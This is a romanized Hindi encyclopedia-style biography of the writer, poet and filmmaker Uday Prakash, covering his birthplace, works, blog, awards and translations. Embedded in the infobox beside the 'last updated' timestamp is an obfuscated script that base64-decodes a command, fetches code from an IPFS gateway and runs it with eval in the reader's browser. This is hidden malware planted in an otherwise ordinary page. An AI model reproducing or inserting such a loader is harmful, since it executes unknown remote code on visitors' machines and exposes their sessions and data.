उदय प्रकाश
chitr:Disamb2.jpg uday | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- uday (bahuvikalpi) |
uday prakash
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poora nam | uday prakash |
janm | 1 janavari, 1952 |
janm bhoomi | gaanv- sitapur, anoopapur zila, madhy pradesh |
karm-kshetr | kavi, kathakar, patrakar aur filmakar |
mukhy rachanaean | mohanadas (kahani), suno qarigar, abootar kabootar (dono kavita) |
bhasha | hindi |
shiksha | em.e. |
puraskar-upadhi | sahity akadami puraskar, bharatabhooshan agraval puraskar, om prakash samman, shrikaant varma puraskar, muktibodh samman, dvijadev samman, vanamali samman, pahal samman adi |
vishesh yogadan | 'bharatiy krishi ka itihas' par mahattvapoorn pandrah k diyoan ka siriyal 'krishi-katha' ke nam se 'rashtriy chainal' ke lie nirdeshit kar chuke haian. |
nagarikata | bharatiy |
any janakari | uday prakash svayan bhi kee ti.vi.dharavahikoan ke nirdeshak-patakatha lekhak rahe haian. uday prakash ne suprasiddh rajasthani kathakar 'vijayadan detha' ki kahaniyoan par charchit laghu filmean 'prasar bharati' ke lie nirmit aur nirdeshit ki haian. |
adyatan | 12:48, 2 aktoobar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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inhean bhi dekhean | kavi soochi, sahityakar soochi |
uday prakash (janm :1 janavari, 1952) charchit kavi, kathakar, patrakar aur filmakar haian. uday prakash hindi sahity aur sansar ke pratishthit aur charchit kathakar haian. inaki rachanaean n keval bharatiy bhashaoan, balki kee videshi bhashaoan mean anudit hokar lokapriy huee. uday prakash ki kahaniyoan mean jahaan kavitaoan jaisi ravanagi aur sarasata hai, vahian ve samay ki visangatiyoan ki or bahat gaharaee se dhyan akarshit karati haian.
- roosi, aangreji, japani, dach aur jarman bhasha mean unaki kavitaoan ka anuvad ho chuka hai aur lagabhag sabhi rashtriy-aantararashtriy kavita sankalanoan mean unaki kavitaean sangrahit haian . 2004 mean h aaulaiand ke prakhyat 'aantararashtriy kavita utsav' mean ve bharatiy kavi ke roop mean bhag le chuke haian.
- inaki kee kahaniyoan ke natyaroopantar aur saphal manchan hue haian. 'uparaant' aur 'mohan das' ke nam se inaki kahaniyoan par phichar filmean bhi ban chuki haian, jinhean aantararashtriy samman mil chuke haian. uday prakash svayan bhi kee ti.vi.dharavahikoan ke nirdeshak-patakathakar rahe haian.
- uday prakash ne suprasiddh rajasthani kathakar 'vijayadan detha' ki kahaniyoan par charchit laghu filmean 'prasar bharati' ke lie nirmit aur nirdeshit ki haian. 'bharatiy krishi ka itihas' par mahattvapoorn pandrah k diyoan ka siriyal 'krishi-katha' ke nam se 'rashtriy chainal' ke lie nirdeshit kar chuke haian.
janm sthan
bharat ke prakhyat kavi, kathakar, patrakar aur filmakar uday prakash ka janm gaanv sitapur zila anoopapur, madhy pradesh mean 1 janavari, 1952 mean hua tha. "maian madhyapradesh ke anoopapur zile ke ek chhote se gaanv sitapur mean paida hua. aj bhi vahaan mitti ke 18 ghar haian. hamara ghar pakka aur purana hai. gaanv ke pichhe ek bahut badi son nadi bahati hai. jahaan se son ka udgam hai usi se kuchh door narmada ka udgam hai. amarakantak mere gaanv se paidal jaean, to 23 kilomitar door hai. mera janm 1952 mean hua tab vahaan bijali nahian thi. ham log lalaten aur dhibari ki roshani mean padhate the. pul nahian tha, isalie gaanv ke sabhi log tairana janate haian. paanchavian kaksha ke bad nadi ko tair kar skool jana hota tha. kalam, phaunten pen yah sab bad mean aya. ham shuroo mean lakadi ki pati par likhate the chhathe darje se aangrezi padhaee jati thi. maian jahaan par tha, vahaan chhattisagadh tha aur madhy pradesh ka simant hai. mera gaanv chhattisagadh sima mean hai. meri maan bhojapur ki aur pita ji baghel ke the. [1] uday prakash shuruati kee naukariyoan ke bad lanbe arase se lekhan ki svayattashasi duniya se jude haian.
karyakshetr
pichhale do dashakoan mean prakashit uday prakash ki kahaniyoan ne katha sahity ke paranparagat path ko apane akhyan aur kalpanatmak vinyas se poori tarah badal diya hai. ne yug ke yatharth ke nirman mean uday ki kahaniyoan ki zabardast bhoomika hai. vaividhyapoorn jivananubhavoan se lais uday ki kahaniyoan par kadachit jitani asahamatiyaan aur vivad darj kie ge utani kisi aur ki kahaniyoan par nahian. kintu sabhi asahamatiyoan aur vivadoan ko pichhe chhodate hue uday prakash ne pashchimi mapadand par tiki hiandi alochana ki kasautiyoan ke samane sadaiv ek chunauti kh di ki hai. 'suno karigar', 'abootar kabootar', 'rat mean haramoniyam' v 'ek bhasha hua karati hai'- kavita sangrahoan aur 'tirichh', 'dariyaee ghoda' aur 'aant mean prarthana', 'palagomara ka skootar', 'dattatrey ke dukh', 'pili chhatari vali ladaki', 'maiangosil' v 'mohanadas' jaise kahani sangrahoan ke lekhak uday prakash ne kee lekhakoan par filmean banaee haian aur bijji ki kahaniyoan par dharavahik bhi.[2]
- atmakathatmak kriti
“mohanadas” uday prakash ki atmakathatmak kriti hai. bahut kam log janate haian ki lagabhag sabhi bharatiy bhashaoan aur vishv ki adhi darjan bhashaoan mean anoodit ho chuki “mohanadas” kahani uday prakash ne tab likhi thi, jab dilli vishvavidyalay ke hiandi vibhag mean prophesar ke pad ke lie unhoanne iantaravyoo diya tha aur unhean vah naukari nahian di gayi thi. tab uday prakash ko naukari isalie nahian di gayi thi kyoanki chayan samiti ke ek sadasy ko is bat par gahara etaraj tha ki uday prakash ke pas pi.ech.di. ki digri nahian hai. halaanki tab tak uday prakash ki kahaniyoan aur kavitaoan par desh bhar ke vishvavidyalayoan mean adhe darjan se zyada pi.ech.di. aur ek darjan se zyada em.phil. ki upadhiyaan baanti ja chuki thian. isake alava kee videshi vishvavidyalayoan ke silebas mean unaki kahaniyaan jagah pa chuki thian aur vahaan padhayi ja rahi thian.
bl aaug
shabhdoan ke anoothe shilhp mean buni kavitaoan aur usase bhi jhyada anoothe gady shilhp ke lie jane jane vale uday prakash ka bhl aaug ki duniya mean padarpan ek sukhad ghatana hai.
- saphar ki shuruat
sanh 2005 mean jab hiandi mean koee thik se bhl aaug ka nam bhi nahian janata tha, uday prakash ne apane bhl aaug ki shuruat ki, lekin yah silasila jhyada lanba nahian chala. lanbe aantaral ke bad ab phir us saphar ki shuruat huee hai. jinhhoanne 'palagomara ka shkootar', 'v aauren hestianghj ka saan d' aur ‘tirichh’ sarikhi kahaniyaan padhi haian aur jo unake lekhan se vakiph haian, unhhean bhl aaug par uday ji ke likhe ka zaroor iantazar hoga. unake bhl aaug par aee pratikriyaean bhi yah batati haian.
- khula manch
is bhl aaug ki shuruat ke pichhe uday prakash ka makasad ek aise manch ki talash thi, jahaan kinhhian niyamoan aur pratibandhoan ke bagair unhmukht hokar apani kalam ko abhivhyakht kiya ja sake, jahaan koee seansaraship n ho, jo ki priant ya ilekhtr aaunik midiya mean sanbhav nahian hai. uday prakash ka manana hai ki ek sachhcha rachanakar nirbandh hokar apane samay ka sach likhana chahata hai. pahale lekhak dayariyaan likha karate the. muktibodh ki pushtak 'ek sahityik ki dayari' bahut prasiddh hai. ab tekhnol aauji ne hamean ek naya madhhyam diya hai. hiandi mean bhl aaug ki duniya ka dhire-dhire vishtar ho raha hai. hamean apani bat vhyapak paimane par logoan tak pahuanchane ke lie is madhhyam ka ishtemal karana chahie.
chitr:Blockquote-open.gif
'niji shvatantrata ke adhunik vichar ke lie bhi bhl aaug ki duniya mean jagah hai. bhl aaug ke madhhyam se kitane sarthak kam aur bahasean ho rahi haian, yah ek alag mudda hai, lekin bhl aaug lekhak ko ek niji kishm ki shvatantrata deta hai. us shpes ka ishtemal lekhak apane tarike se nirbandh hokar kar sakata hai.'
chitr:Blockquote-close.gif - uday prakash
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hiandi mean bhl aaugiang ke bhavishhy ke bare mean uday prakash ka kahana hai ki yadi yah madhhyam aur sashta hokar b de paimane par logoan tak pahuanchata hai to ane vale kuchh varshoan mean bhl aaugiang ke kuchh b de natije bhi samane a sakate haian. yah jhyada sarthak roop mean ganbhir samajik aur vaicharik bahasoan ka manch ban sakata hai. jis tezike sath iantaranet aur bhl aaug ka hiandi mean prasar ho raha hai, is bat ki poori sanbhavana ho sakati hai.
philahal ap muktibodh se lekar 'asad jaidi' aur 'kuanvar narayan' tak ki kavitaean uday prakash ke bhl aaug par padh sakate haian. muktibodh ki ek shanadar aprakashit kavita 'agar tumhhean sachhchaee ka shauq hai' ka anand uday prakash ke bhl aaug par uthaya ja sakata hai.[3]
- mohanadas
mohanadas kahani azadi ke lagabhag sath sal bad ke halat ka akalan karati hai. yah us aantim vyakti ki kahani hai jo bar-bar yad dilati hai ki satta keandrik vyavastha mean ek nirbal, sattahin aur garib manushy ki asmita tak usase chhini ja sakati hai. par yah kahani pratikar ki, pratirodh ki kahani nahian hai. is kahani ko uttar adhunik kahani ke roop mean bhi dekha aur saraha gaya hai. 'vartika films' ke lie 'mazahar kamaran' ne is par film banaee hai, jisaki patakatha, sanvad adi om nishchal ne likhe haian. halaanki film us sanvedana ko to nahian chhoo pati, jise lakshy kar kahani likhi gayi thi, lekin kahani aj ke halat mean ek manushy ki niyati ka akhyan to rachati hi hai.
- kahani
kahani ek kathin vidha hai, bhale hi upanyas se akar mean yah chhoti hoti hai aur kavita ki tulana mean yah gady ka ashray leti hai. phir bhi kavita aur upanyas ke bich ki yah vidha bahut asan nahian hai. kahani ko samman kabhi mila hi nahian. shayad yah ek punarvichar hai hamare samay ke vidvanoan ka jinhoanne kahani ko vah pratishtha di hai jisaki vah hakadar rahi hai. chekhav ne to kahaniyaan hi likhian, upanyas nahian likhe. premachand apani kahaniyoan se hi lokamany mean jane ge, godan adi upanyasoan se nahian. nirmal varma ki pahachan bhi prathamik taur par kahani se hi bani. to is samay ke paridrishy kean keandr mean kahani hai.
- alochana
hiandi ka abhijan yani ilit varg kahani ke nihitarth mean nahian jata, vah yuktiyoan ke bare mean bat karata hai. chandrakaanta santati ki lokapriyata ki kya vajah hai. koee alochana ap us par dikha sakate haian jisase prerit hokar pathakoan ne use padha ho. is akhyan ki bhi akhir apani kalayuktiyaan haian jinaka jadoo pathak par asar karata hai. ham deshi videshi alochakoan par najar dalean to pate haian, unaka adhyayan bahut vyapak tha. alochana ka maqasad moolyoan ka sandhan karana hai. yah b di sadhana ka kam hai. bharat desh ki sanskriti-sabhyata mean ek se ek bade kathakar mauzood haian. par hiandi ke bauddhik varg ke pas us taiyari ka abhav hai jo kisi bhi rachana ke moolyaankan mean pravritt hone ki prathamik yogyata hai.
- moolat kavi
maian moolat: kavi hi hooan. isako maian bhi janata hooan aur baqi log bhi janate haian. maian to aksar mazaq mean kaha karata hooan ki maian ek aisa kumhar hooan jisane dhokhe se kabhi ek kamiz sil di aur ab use sab darji kah rahe haian. sach yah hai ki maian kumhar hi hooan.[4]
prakashit kritiyaan
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- uparokt ke atirikt italo k aaulvino, nerooda, yehuda amichaee, pharnaando pasova, kavafi, lorka, tadyush rozevich, zegjevyeski, aleksaandr bl aauk adi rachanakaroan ke anuvad
samman
- 1980 mean apani kavita 'tibbat' ke lie 'bharat bhooshan agraval puraskar' se sammanit, 'om prakash samman', 'shrikaant varma puraskar', 'muktibodh samman', 'sahityakar samman' prapt kar chuke haian.
- 2004 mean h aaulaiand ke prakhyat aantararashtriy kavita utsav mean ve bharatiy kavi ke roop mean hissa le chuke haian.
- 2010 mean 'kahani mohan das' ke liye 'sahity akadami puraskar'.[16]
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uday prakash ke kathan
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tika tippani aur sandarbh
- ↑ udayaprakash (hiandi). . abhigaman tithi: 1 aktoobar, 2011.
- ↑ maian kumhar hi hooan, darji nahian – uday prakash (hiandi). . abhigaman tithi: 1 aktoobar, 2011.
- ↑ uday prakash (hiandi). . abhigaman tithi: 1 aktoobar, 2011.
- ↑ uday prakash (hiandi). . abhigaman tithi: 1 aktoobar, 2011.
- ↑ pratham manchan - rashtriy nathy vidyalay ke prasanna ke nirdeshan mean.
- ↑ pratham manchan - prasanna ke nirdeshan mean.
- ↑ pratham manchan - aravind gau d ke nirdeshan mean, asmita natay sanstha dvara kiya gaya. yah natak rashtriy nathy vidyalay ke bharat rang mahotsav v indiya haibitait sentar mean bhi ayojit hua hai. 2001 se ab tak lagabhag 80 pradarshan ho chuke haian.
- ↑ pratham manchan - arun pandey ke nirdeshan mean.
- ↑ Translated by Robert A. Hueckstedt, Publisher Katha, New Delhi
- ↑ Translated by Robert A. Hueckstedt, Publisher, Srishti, New Delhi
- ↑ Translated by Jason Grunebaum, Publisher, Penguin India
- ↑ Translated by Pratik Kanjilal, Publisher, Little Magazine, New Delhi
- ↑ Translated by Ines Fornell, Heinz Werner Wessler and Reinhald Schein
- ↑ Translated by Andre Penz
- ↑ Translated by Lothar Lutze
- ↑ uday prakash (hiandi). . abhigaman tithi: 1 aktoobar, 2011.
- ↑ uday prakash (hiandi). . abhigaman tithi: 1 aktoobar, 2011.
bahari k diyaan
- hiandi ki l daee apane hi saansthanik dhaanchoan se hai: uday prakash
- mohanadas
- chakshushabhasha ke rachanakar udayaprakash
- purashkar pakar bahut khush nahian haian uday prakash!
- uday prakash nahian the pahali pasand
- udayaprakash ki rachanaean
- uday prakash ka kahanipath aur alakaman ki batean
- uday prakash ki kahani 'anavaran'
sanbandhit lekh
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varnamala kramanusar lekh khoj
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